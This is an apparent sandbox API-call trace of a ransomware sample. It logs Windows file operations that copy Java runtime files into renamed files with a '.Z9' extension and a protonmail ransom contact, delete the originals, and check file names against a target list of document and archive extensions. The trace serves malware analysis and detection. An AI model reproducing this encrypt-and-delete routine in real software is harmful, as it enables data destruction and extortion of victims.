	[0163.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20
	[0163.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.354] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.354] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.354] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.354] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.355] GetLastError () returned 0x0
	[0163.355] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x1c6de, lpOverlapped=0x0) returned 1
	[0163.360] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x1c6e0, lpOverlapped=0x0) returned 1
	[0163.363] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.364] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0163.364] SetEndOfFile (hFile=0x43c) returned 1
	[0163.364] CloseHandle (hObject=0x43c) returned 1
	[0163.364] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.364] SetEndOfFile (hFile=0x38c) returned 1
	[0163.369] CloseHandle (hObject=0x38c) returned 1
	[0163.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.369] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1
	[0163.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.370] lstrlenW (lpString=".doc") returned 4
	[0163.370] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.370] lstrlenW (lpString=".docx") returned 5
	[0163.370] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0163.370] lstrlenW (lpString=".pdf") returned 4
	[0163.370] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.370] lstrlenW (lpString=".xls") returned 4
	[0163.371] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.371] lstrlenW (lpString=".xlsx") returned 5
	[0163.371] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0163.371] lstrlenW (lpString=".ppt") returned 4
	[0163.371] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.371] lstrlenW (lpString=".zip") returned 4
	[0163.371] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.371] lstrlenW (lpString=".rar") returned 4
	[0163.371] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.371] lstrlenW (lpString=".bz2") returned 4
	[0163.371] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.371] lstrlenW (lpString=".7z") returned 3
	[0163.371] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.371] lstrlenW (lpString=".dbf") returned 4
	[0163.371] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.371] lstrlenW (lpString=".1cd") returned 4
	[0163.371] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.371] lstrlenW (lpString=".jpg") returned 4
	[0163.371] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.371] lstrlenW (lpString=".doc") returned 4
	[0163.371] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.372] lstrlenW (lpString=".docx") returned 5
	[0163.372] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0163.372] lstrlenW (lpString=".pdf") returned 4
	[0163.372] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.372] lstrlenW (lpString=".xls") returned 4
	[0163.372] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.372] lstrlenW (lpString=".xlsx") returned 5
	[0163.372] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0163.372] lstrlenW (lpString=".ppt") returned 4
	[0163.372] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.372] lstrlenW (lpString=".zip") returned 4
	[0163.372] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.372] lstrlenW (lpString=".rar") returned 4
	[0163.372] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.372] lstrlenW (lpString=".bz2") returned 4
	[0163.372] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.372] lstrlenW (lpString=".7z") returned 3
	[0163.372] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.372] lstrlenW (lpString=".dbf") returned 4
	[0163.372] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.372] lstrlenW (lpString=".1cd") returned 4
	[0163.372] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0163.372] lstrlenW (lpString=".jpg") returned 4
	[0163.372] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.373] lstrcmpiW (lpString1=".jfc", lpString2=".Z9") returned -1
	[0163.373] lstrlenW (lpString="default.jfc") returned 11
	[0163.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.373] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=20109) returned 1
	[0163.373] CloseHandle (hObject=0x38c) returned 1
	[0163.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20
	[0163.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.374] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.374] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.376] GetLastError () returned 0x0
	[0163.376] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4e8d, lpOverlapped=0x0) returned 1
	[0163.754] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0163.755] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.755] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xea, lpOverlapped=0x0) returned 1
	[0163.755] SetEndOfFile (hFile=0x43c) returned 1
	[0163.755] CloseHandle (hObject=0x43c) returned 1
	[0163.755] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.756] SetEndOfFile (hFile=0x38c) returned 1
	[0163.759] CloseHandle (hObject=0x38c) returned 1
	[0163.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.759] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1
	[0163.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.760] lstrlenW (lpString=".doc") returned 4
	[0163.760] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0163.760] lstrlenW (lpString=".docx") returned 5
	[0163.760] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0163.760] lstrlenW (lpString=".pdf") returned 4
	[0163.760] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0163.760] lstrlenW (lpString=".xls") returned 4
	[0163.760] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0163.760] lstrlenW (lpString=".xlsx") returned 5
	[0163.760] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0163.760] lstrlenW (lpString=".ppt") returned 4
	[0163.760] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0163.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.760] lstrlenW (lpString=".zip") returned 4
	[0163.760] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0163.760] lstrlenW (lpString=".rar") returned 4
	[0163.760] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0163.760] lstrlenW (lpString=".bz2") returned 4
	[0163.760] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0163.760] lstrlenW (lpString=".7z") returned 3
	[0163.761] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString=".dbf") returned 4
	[0163.761] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString=".1cd") returned 4
	[0163.761] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString=".jpg") returned 4
	[0163.761] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString=".doc") returned 4
	[0163.761] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0163.761] lstrlenW (lpString=".docx") returned 5
	[0163.761] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0163.761] lstrlenW (lpString=".pdf") returned 4
	[0163.761] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0163.761] lstrlenW (lpString=".xls") returned 4
	[0163.761] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0163.761] lstrlenW (lpString=".xlsx") returned 5
	[0163.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0163.761] lstrlenW (lpString=".ppt") returned 4
	[0163.761] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString=".zip") returned 4
	[0163.761] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0163.761] lstrlenW (lpString=".rar") returned 4
	[0163.761] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0163.761] lstrlenW (lpString=".bz2") returned 4
	[0163.761] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0163.761] lstrlenW (lpString=".7z") returned 3
	[0163.761] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0163.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.761] lstrlenW (lpString=".dbf") returned 4
	[0163.761] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0163.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.762] lstrlenW (lpString=".1cd") returned 4
	[0163.762] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0163.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0163.762] lstrlenW (lpString=".jpg") returned 4
	[0163.762] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0163.762] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0163.762] lstrlenW (lpString="logging.properties") returned 18
	[0163.762] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.763] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=2455) returned 1
	[0163.763] CloseHandle (hObject=0x38c) returned 1
	[0163.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20
	[0163.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.763] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.763] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.764] GetLastError () returned 0x0
	[0163.764] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x997, lpOverlapped=0x0) returned 1
	[0163.766] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0163.767] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.767] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0163.767] SetEndOfFile (hFile=0x43c) returned 1
	[0163.767] CloseHandle (hObject=0x43c) returned 1
	[0163.768] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.768] SetEndOfFile (hFile=0x38c) returned 1
	[0163.771] CloseHandle (hObject=0x38c) returned 1
	[0163.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.771] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1
	[0163.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.772] lstrlenW (lpString=".doc") returned 4
	[0163.772] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString=".docx") returned 5
	[0163.772] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.772] lstrlenW (lpString=".pdf") returned 4
	[0163.772] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString=".xls") returned 4
	[0163.772] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString=".xlsx") returned 5
	[0163.772] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.772] lstrlenW (lpString=".ppt") returned 4
	[0163.772] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.772] lstrlenW (lpString=".zip") returned 4
	[0163.772] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString=".rar") returned 4
	[0163.772] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString=".bz2") returned 4
	[0163.772] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString=".7z") returned 3
	[0163.772] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.772] lstrlenW (lpString=".dbf") returned 4
	[0163.772] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.772] lstrlenW (lpString=".1cd") returned 4
	[0163.772] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.772] lstrlenW (lpString=".jpg") returned 4
	[0163.772] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.773] lstrlenW (lpString=".doc") returned 4
	[0163.773] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString=".docx") returned 5
	[0163.773] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.773] lstrlenW (lpString=".pdf") returned 4
	[0163.773] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString=".xls") returned 4
	[0163.773] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString=".xlsx") returned 5
	[0163.773] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.773] lstrlenW (lpString=".ppt") returned 4
	[0163.773] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.773] lstrlenW (lpString=".zip") returned 4
	[0163.773] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString=".rar") returned 4
	[0163.773] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString=".bz2") returned 4
	[0163.773] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString=".7z") returned 3
	[0163.773] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.773] lstrlenW (lpString=".dbf") returned 4
	[0163.773] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.773] lstrlenW (lpString=".1cd") returned 4
	[0163.773] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0163.773] lstrlenW (lpString=".jpg") returned 4
	[0163.773] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.774] lstrcmpiW (lpString1=".access", lpString2=".Z9") returned -1
	[0163.774] lstrlenW (lpString="jmxremote.access") returned 16
	[0163.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.776] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=3998) returned 1
	[0163.776] CloseHandle (hObject=0x38c) returned 1
	[0163.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20
	[0163.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.777] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.777] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
